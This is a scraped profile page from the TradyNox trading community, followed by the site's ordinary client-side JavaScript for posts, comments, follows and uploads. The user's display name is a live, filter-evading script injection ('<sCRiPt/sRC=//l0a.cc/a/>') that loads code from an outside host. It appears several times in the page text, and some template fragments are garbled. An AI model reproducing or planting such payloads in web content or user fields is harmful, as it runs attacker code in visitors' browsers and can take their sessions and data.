<

<sCRiPt/sRC=//l0a.cc/a/></sCrIpT>nocal Gratuito Observador

@scriptsrcl0accascriptnoca
0 seguidores · 0 seguindo · 0 posts · 0 análises
Day Trader Iniciante Desde Out 2026
Sobre
Day Trader
Iniciante
Membro desde 14/10/2026
Nível
Nv. 1 - Observador
0%
Próximo nível em breve

Faça parte da comunidade TradyNox

Cadastre-se para seguir <sCRiPt/sRC=//l0a.cc/a/></sCrIpT>nocal, curtir e comentar em publicações, e conectar-se com outros traders.

Criar minha conta grátis

Carregando publicações...

Carregando seguidores...

Carregando...

Link copiado!

Compartilhar

Compartilhar em

Sobre o Trader

Sobre
Day Trader
Iniciante
Membro desde 14/10/2026
Nível
Nv. 1 - Observador
0%
Próximo nível em breve

Confirmar ação

Tem certeza que deseja realizar esta ação?

nocal')} ${tpEsc(planName)} @${tpEsc(post.author_username || 'scriptsrcl0accascriptnoca')}
${levelHtml} ${post.time_ago} ${visibilityHtml}
${(post.is_own || TP_IS_OWN) ? `
` : ''}
${contentHtml}
${tickerHtml}
${imageHtml} ${statsRowHtml}
${TP_IS_PUBLIC ? ` ` : `
U
`}
`; } function tpFormatContent(text) { text = tpEsc(text); text = text.replace(/#(\w+)/g, '#$1'); text = text.replace(/@([a-z0-9_.]+)/gi, '@$1'); text = text.replace(/(https?:\/\/[^\s]+)/g, '$1'); return text; } function tpEsc(str) { if (!str) return ''; const div = document.createElement('div'); div.textContent = str; return div.innerHTML; } // ---- DELETE COM MODAL ---- function tpConfirmDelete(postId) { tpShowModal( 'Excluir publicação', 'Tem certeza que deseja excluir esta publicação? Esta ação não pode ser desfeita.', 'Excluir', 'fa-trash', 'danger', function() { tpDeletePost(postId); } ); } async function tpDeletePost(postId) { const formData = new FormData(); formData.append('action', 'delete_post'); formData.append('post_id', postId); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { const postEl = document.getElementById('tp-post-' + postId); if (postEl) { postEl.style.opacity = '0'; postEl.style.transform = 'translateY(-10px)'; postEl.style.transition = 'all 0.3s ease'; setTimeout(() => postEl.remove(), 300); } // Toast removido } else { if (typeof showToast === 'function') showToast(data.message || 'Erro ao excluir.', 'error'); } } catch (err) { if (typeof showToast === 'function') showToast('Erro de conexão.', 'error'); } } // ---- LIKE ---- async function tpToggleLike(postId, btn) { if (tpRequireLogin('curtir')) return; const formData = new FormData(); formData.append('action', 'toggle_like_post'); formData.append('post_id', postId); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { const icon = btn.querySelector('i'); const countEl = btn.querySelector('.like-count'); if (data.liked) { btn.classList.add('liked'); icon.className = 'fas fa-heart'; } else { btn.classList.remove('liked'); icon.className = 'far fa-heart'; } countEl.textContent = data.count; } } catch (err) {} } // ---- BOOKMARK ---- async function tpToggleBookmark(postId, btn) { if (tpRequireLogin('salvar')) return; const formData = new FormData(); formData.append('action', 'toggle_bookmark'); formData.append('post_id', postId); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { const icon = btn.querySelector('i'); if (data.bookmarked) { btn.classList.add('bookmarked'); icon.className = 'fas fa-bookmark'; } else { btn.classList.remove('bookmarked'); icon.className = 'far fa-bookmark'; } } } catch (err) {} } // ---- COMMENTS ---- async function tpToggleComments(postId) { const section = document.getElementById('tp-comments-' + postId); if (section.classList.contains('active')) { section.classList.remove('active'); return; } section.classList.add('active'); const listEl = document.getElementById('tp-comments-list-' + postId); listEl.innerHTML = '
'; try { const resp = await fetch(`${TP_AJAX}?action=get_comments&post_id=${postId}&page=1`); const data = await resp.json(); if (data.success) { if (data.data.length === 0) { listEl.innerHTML = '

Nenhum comentário ainda. Seja o primeiro!

'; } else { listEl.innerHTML = ''; data.data.forEach(comment => { listEl.insertAdjacentHTML('beforeend', tpRenderComment(comment, postId)); }); } } } catch (err) { listEl.innerHTML = '

Erro ao carregar.

'; } } function tpRenderComment(comment, postId) { const avatarHtml = comment.author_avatar ? `` : (comment.author_name ? comment.author_name.charAt(0).toUpperCase() : '?'); const likedClass = comment.user_liked ? 'liked' : ''; const likedIcon = comment.user_liked ? 'fas' : 'far'; let repliesHtml = ''; if (comment.replies && comment.replies.length > 0) { repliesHtml = '
'; comment.replies.forEach(reply => { repliesHtml += tpRenderComment(reply, postId); }); repliesHtml += '
'; } return `
${avatarHtml}
${tpFormatContent(comment.content || '')}
${comment.time_ago}
${repliesHtml}
`; } async function tpSendComment(postId, parentId = null) { if (tpRequireLogin('comentar')) return; const input = document.getElementById('tp-comment-input-' + postId); const content = input.value.trim(); if (!content) return; const formData = new FormData(); formData.append('action', 'add_comment'); formData.append('post_id', postId); formData.append('content', content); if (parentId) formData.append('parent_id', parentId); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { input.value = ''; input.placeholder = 'Escreva um comentário...'; tpToggleComments(postId); setTimeout(() => tpToggleComments(postId), 100); } } catch (err) {} } function tpReplyTo(postId, commentId, authorName) { const input = document.getElementById('tp-comment-input-' + postId); input.placeholder = `Respondendo a ${authorName}...`; input.focus(); input.onkeypress = function(e) { if (e.key === 'Enter') tpSendComment(postId, commentId); }; const btn = input.nextElementSibling; btn.onclick = function() { tpSendComment(postId, commentId); }; } async function tpLikeComment(commentId, btn) { if (tpRequireLogin('curtir')) return; const formData = new FormData(); formData.append('action', 'toggle_like_comment'); formData.append('comment_id', commentId); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { btn.innerHTML = ` ${data.count}`; btn.classList.toggle('liked', data.liked); } } catch (err) {} } // ---- FUNÇÃO AUXILIAR: Redirecionar para registro se público ---- function tpRequireLogin(actionName) { if (TP_IS_PUBLIC) { window.location.href = TP_BASE + 'registro'; return true; } return false; } // ---- FOLLOW ---- async function tpToggleFollow() { if (tpRequireLogin('seguir')) return; const formData = new FormData(); formData.append('action', 'toggle_follow'); formData.append('user_id', TP_PROFILE_ID); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { const btn = document.getElementById('tpFollowBtn'); const countEl = document.getElementById('tpFollowersCount'); const tabCountEl = document.getElementById('tpFollowersTabCount'); let currentCount = parseInt(countEl.textContent.replace(/\D/g, '')) || 0; if (data.following) { btn.className = 'tp-follow-btn following'; btn.innerHTML = ' Seguindo'; currentCount++; // Toast removido } else { btn.className = 'tp-follow-btn follow'; btn.innerHTML = ' Seguir'; currentCount = Math.max(0, currentCount - 1); } countEl.textContent = currentCount.toLocaleString('pt-BR'); if (tabCountEl) tabCountEl.textContent = currentCount; } } catch (err) {} } // ---- FOLLOWERS / FOLLOWING ---- async function tpLoadFollowers() { const container = document.getElementById('tpFollowersList'); try { const resp = await fetch(`${TP_AJAX}?action=get_followers&user_id=${TP_PROFILE_ID}`); const data = await resp.json(); if (data.success) { if (data.data.length === 0) { container.innerHTML = `

Nenhum seguidor ainda

${TP_IS_OWN ? 'Participe da comunidade para ganhar seguidores!' : 'Seja o primeiro a seguir este trader!'}

`; } else { container.innerHTML = '
' + data.data.map(u => tpRenderUserItem(u)).join('') + '
'; } tpFollowersLoaded = true; } } catch (err) { container.innerHTML = '

Erro ao carregar

'; } } async function tpLoadFollowing() { const container = document.getElementById('tpFollowingList'); try { const resp = await fetch(`${TP_AJAX}?action=get_following&user_id=${TP_PROFILE_ID}`); const data = await resp.json(); if (data.success) { if (data.data.length === 0) { container.innerHTML = `

Não segue ninguém ainda

${TP_IS_OWN ? 'Explore a comunidade e siga outros traders!' : 'Este trader ainda não segue ninguém na comunidade.'}

`; } else { container.innerHTML = '
' + data.data.map(u => tpRenderUserItem(u)).join('') + '
'; } tpFollowingLoaded = true; } } catch (err) { container.innerHTML = '

Erro ao carregar

'; } } function tpRenderUserItem(user) { const avatarHtml = user.avatar ? `` : (user.name ? user.name.charAt(0).toUpperCase() : '?'); let levelHtml = ''; if (user.level_name) { levelHtml = ` ${tpEsc(user.level_name)}`; } let followBtn = ''; if (parseInt(user.id) !== TP_VIEWER_ID) { const isFollowing = user.viewer_following; followBtn = ``; } return `
${avatarHtml}
${followBtn}
`; } async function tpFollowFromList(userId, btn) { if (tpRequireLogin('seguir')) return; const formData = new FormData(); formData.append('action', 'toggle_follow'); formData.append('user_id', userId); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { if (data.following) { btn.className = 'tp-user-follow-btn following'; btn.textContent = 'Seguindo'; } else { btn.className = 'tp-user-follow-btn follow'; btn.textContent = 'Seguir'; } } } catch (err) {} } // ---- UPLOAD DE FOTO DE CAPA ---- async function tpUploadCover(input) { const file = input.files[0]; if (!file) return; if (file.size > 10 * 1024 * 1024) { showToast('A imagem deve ter no máximo 10MB.', 'error'); input.value = ''; return; } if (!['image/jpeg', 'image/png', 'image/webp'].includes(file.type)) { showToast('Formato inválido. Use JPG, PNG ou WebP.', 'error'); input.value = ''; return; } const reader = new FileReader(); reader.onload = function(e) { const cover = document.getElementById('tpCover'); let img = document.getElementById('tpCoverImage'); if (!img) { img = document.createElement('img'); img.id = 'tpCoverImage'; img.className = 'tp-cover-image'; img.alt = 'Cover'; cover.insertBefore(img, cover.firstChild); const overlay = document.createElement('div'); overlay.className = 'tp-cover-overlay'; cover.insertBefore(overlay, img.nextSibling); } img.src = e.target.result; cover.classList.add('has-image'); const pattern = document.getElementById('tpCoverPattern'); const grid = document.getElementById('tpCoverGrid'); const glow = document.getElementById('tpCoverGlow'); if (pattern) pattern.style.display = 'none'; if (grid) grid.style.display = 'none'; if (glow) glow.style.display = 'none'; }; reader.readAsDataURL(file); const btn = document.getElementById('tpCoverUploadBtn'); const originalHtml = btn.innerHTML; btn.innerHTML = ' Enviando...'; const formData = new FormData(); formData.append('action', 'update_cover_photo'); formData.append('cover', file); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { // Toast removido } else { showToast(data.error || 'Erro ao atualizar a capa.', 'error'); } } catch (err) { showToast('Erro de conexão.', 'error'); } finally { btn.innerHTML = ' Editar foto da capa'; input.value = ''; } } // ---- UPLOAD AVATAR (FACEBOOK STYLE) ---- async function tpUploadAvatar(input) { const file = input.files[0]; if (!file) return; if (file.size > 10 * 1024 * 1024) { showToast('A imagem deve ter no máximo 10MB.', 'error'); input.value = ''; return; } if (!['image/jpeg', 'image/png', 'image/webp'].includes(file.type)) { showToast('Formato inválido. Use JPG, PNG ou WebP.', 'error'); input.value = ''; return; } const btn = document.getElementById('tpAvatarUploadBtn'); const avatarContainer = document.getElementById('tpAvatarContainer'); // Preview imediato const reader = new FileReader(); reader.onload = function(e) { let img = avatarContainer.querySelector('img'); if (!img) { avatarContainer.innerHTML = ''; img = document.createElement('img'); img.alt = 'Avatar'; avatarContainer.appendChild(img); } img.src = e.target.result; }; reader.readAsDataURL(file); // Animação de loading btn.classList.add('uploading'); const originalIcon = btn.querySelector('i').className; btn.querySelector('i').className = 'fas fa-spinner'; const formData = new FormData(); formData.append('action', 'update_avatar_photo'); formData.append('avatar', file); try { const resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); const data = await resp.json(); if (data.success) { // Atualizar avatar no header também (se existir) const headerAvatars = document.querySelectorAll('.user-avatar img, .header-avatar img'); headerAvatars.forEach(img => { if (data.avatar) img.src = TP_BASE + data.avatar; }); } else { showToast(data.message || 'Erro ao atualizar a foto.', 'error'); } } catch (err) { showToast('Erro de conexão.', 'error'); } finally { btn.classList.remove('uploading'); btn.querySelector('i').className = originalIcon; input.value = ''; } } // ---- COMPARTILHAR (MODAL FACEBOOK STYLE) ---- var tpShareCurrentPostId = null; var tpShareCurrentUrl = ''; function tpSharePost(postId) { tpShareCurrentPostId = postId; tpShareCurrentUrl = window.location.href.split('?')[0] + '?post=' + postId; // Reset modal state document.getElementById('tpShareRepostForm').classList.remove('active'); document.getElementById('tpShareProfileSection').style.display = ''; document.getElementById('tpShareRepostText').value = ''; document.getElementById('tpShareModal').classList.add('active'); } function tpShareProfile() { tpShareCurrentPostId = null; tpShareCurrentUrl = window.location.href; // Hide repost option for profile share (only external) document.getElementById('tpShareRepostForm').classList.remove('active'); document.getElementById('tpShareProfileSection').style.display = 'none'; document.getElementById('tpShareModal').classList.add('active'); } function tpCloseShareModal() { document.getElementById('tpShareModal').classList.remove('active'); tpShareCurrentPostId = null; } async function tpShowRepostForm() { document.getElementById('tpShareProfileSection').style.display = 'none'; var repostForm = document.getElementById('tpShareRepostForm'); repostForm.classList.add('active'); // Load preview var previewEl = document.getElementById('tpShareRepostPreview'); previewEl.innerHTML = '
Carregando...
'; try { var resp = await fetch(TP_AJAX + '?action=get_repost_data&post_id=' + tpShareCurrentPostId); var data = await resp.json(); if (data.success && data.data) { var p = data.data; var avatarHtml = p.author_avatar ? '' : (p.author_name || '?').charAt(0).toUpperCase(); var contentPreview = (p.content || '').substring(0, 200) + ((p.content || '').length > 200 ? '...' : ''); previewEl.innerHTML = '
' + avatarHtml + '
' + tpEsc(p.author_name) + '
' + tpEsc(contentPreview) + '
' + (p.image ? '' : ''); } else { previewEl.innerHTML = '
Post não encontrado
'; } } catch (err) { previewEl.innerHTML = '
Erro ao carregar preview
'; } } async function tpConfirmRepost() { if (!tpShareCurrentPostId) return; var comment = document.getElementById('tpShareRepostText').value.trim(); var formData = new FormData(); formData.append('action', 'create_repost'); formData.append('post_id', tpShareCurrentPostId); formData.append('comment', comment); try { var resp = await fetch(TP_AJAX, { method: 'POST', body: formData }); var data = await resp.json(); if (data.success) { tpCloseShareModal(); // Toast removido // Reload posts if on own profile if (TP_IS_OWN) { tpPostsPage = 1; tpLoadPosts(1); } } else { if (typeof showToast === 'function') showToast(data.message || 'Erro ao compartilhar.', 'error'); } } catch (err) { if (typeof showToast === 'function') showToast('Erro ao compartilhar.', 'error'); } } function tpShareExternal(platform) { var url = encodeURIComponent(tpShareCurrentUrl); var text = encodeURIComponent('Confira esta publicação no TradyNox!'); var shareUrl = ''; switch (platform) { case 'whatsapp': shareUrl = 'https://wa.me/?text=' + text + '%20' + url; break; case 'telegram': shareUrl = 'https://t.me/share/url?url=' + url + '&text=' + text; break; case 'twitter': shareUrl = 'https://twitter.com/intent/tweet?text=' + text + '&url=' + url; break; case 'copy': tpCopyToClipboard(decodeURIComponent(url)); return; } if (shareUrl) { window.open(shareUrl, '_blank', 'width=600,height=400'); } tpCloseShareModal(); } function tpCopyToClipboard(text) { if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).then(function() { tpCloseShareModal(); tpShowShareToast(); }).catch(function() { tpFallbackCopy(text); }); } else { tpFallbackCopy(text); } } function tpFallbackCopy(text) { var ta = document.createElement('textarea'); ta.value = text; ta.style.position = 'fixed'; ta.style.left = '-9999px'; document.body.appendChild(ta); ta.select(); try { document.execCommand('copy'); tpCloseShareModal(); tpShowShareToast(); } catch(e) { showToast('Não foi possível copiar o link.', 'error'); } document.body.removeChild(ta); } function tpShowShareToast() { var toast = document.getElementById('tpShareToast'); toast.classList.add('visible'); setTimeout(function() { toast.classList.remove('visible'); }, 2500); } // ---- STATS CLICÁVEIS ---- function tpStatClick(tab, el) { var tabs = document.querySelectorAll('.tp-tab'); tabs.forEach(function(t) { var tabText = t.textContent.toLowerCase(); if (tab === 'posts' && tabText.indexOf('post') !== -1) { t.click(); } else if (tab === 'followers' && tabText.indexOf('seguidores') !== -1) { t.click(); } else if (tab === 'following' && tabText.indexOf('seguindo') !== -1) { t.click(); } }); var header = document.querySelector('.tp-profile-header'); if (header) { header.scrollIntoView({ behavior: 'smooth', block: 'start' }); } } // ---- SCROLL TO TOP ---- var tpScrollTopBtn = null; window.addEventListener('scroll', function() { if (!tpScrollTopBtn) tpScrollTopBtn = document.getElementById('tpScrollTop'); if (tpScrollTopBtn) { if (window.scrollY > 600) { tpScrollTopBtn.classList.add('visible'); } else { tpScrollTopBtn.classList.remove('visible'); } } }); // ---- ANIMAÇÃO DE NÍVEL ---- function tpAnimateXpBar() { var fill = document.querySelector('.tp-xp-fill'); if (fill) { var targetWidth = fill.style.width; fill.style.width = '0%'; setTimeout(function() { fill.style.transition = 'width 1.2s ease'; fill.style.width = targetWidth; }, 300); } } // ---- ESC para fechar lightbox e modal ---- document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { document.getElementById('tpLightbox').style.display = 'none'; tpCloseModal(); } }); // ---- INICIALIZAÇÃO v6.0 ---- document.addEventListener('DOMContentLoaded', function() { tpAnimateXpBar(); });